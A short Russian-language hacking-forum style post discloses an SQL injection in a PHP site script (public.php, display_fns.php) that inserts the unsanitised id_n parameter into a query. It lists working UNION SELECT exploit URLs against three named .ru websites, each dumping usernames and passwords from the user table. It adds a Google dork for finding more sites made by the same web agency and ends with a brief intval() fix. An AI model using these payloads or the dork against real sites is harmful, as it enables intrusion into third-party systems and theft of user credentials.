Уязвимый скрипт: public.php
Уязвимая функция:
display_fns.php
Сообщение от
None
global $id_n;
$conn_nt=db_connect("select id_pub, name, link, text
from pub
where id_pub =
$id_n
");
$pub_text=mysql_fetch_array($conn_nt);
$id_pub="$pub_text[id_pub]";
$name="$pub_text[name]";
$text="$pub_text[text]";
$link="$pub_text[link]";
echo "$name";
echo "$link";
echo "";
echo "$text";
}
exploit:
http://bionat.ru/public.php?id_n=-24+union+select+concat_ws(0x3a,user_name,password) ,2,3+from+user
http://bogan.ru/service.php?id_s=27999+union+select+concat_ws(0x3a ,user_name,password),2,3+from+user
http://kalmatron-s.ru/public.php?id_n=-24+union+select+1,concat_ws(0x3a,user_name,passwor d),3+from+user
google:
intext:"Copyright © 2002 - 2012, Интернет-агентство «Боган»"
profit:
Для устранения уязвимости достаточно добавить функцию intval();
code:
Сообщение от
None
$conn_nt=db_connect("select id_pub, name, link, text
from pub
where id_pub =
intval($id_n)
");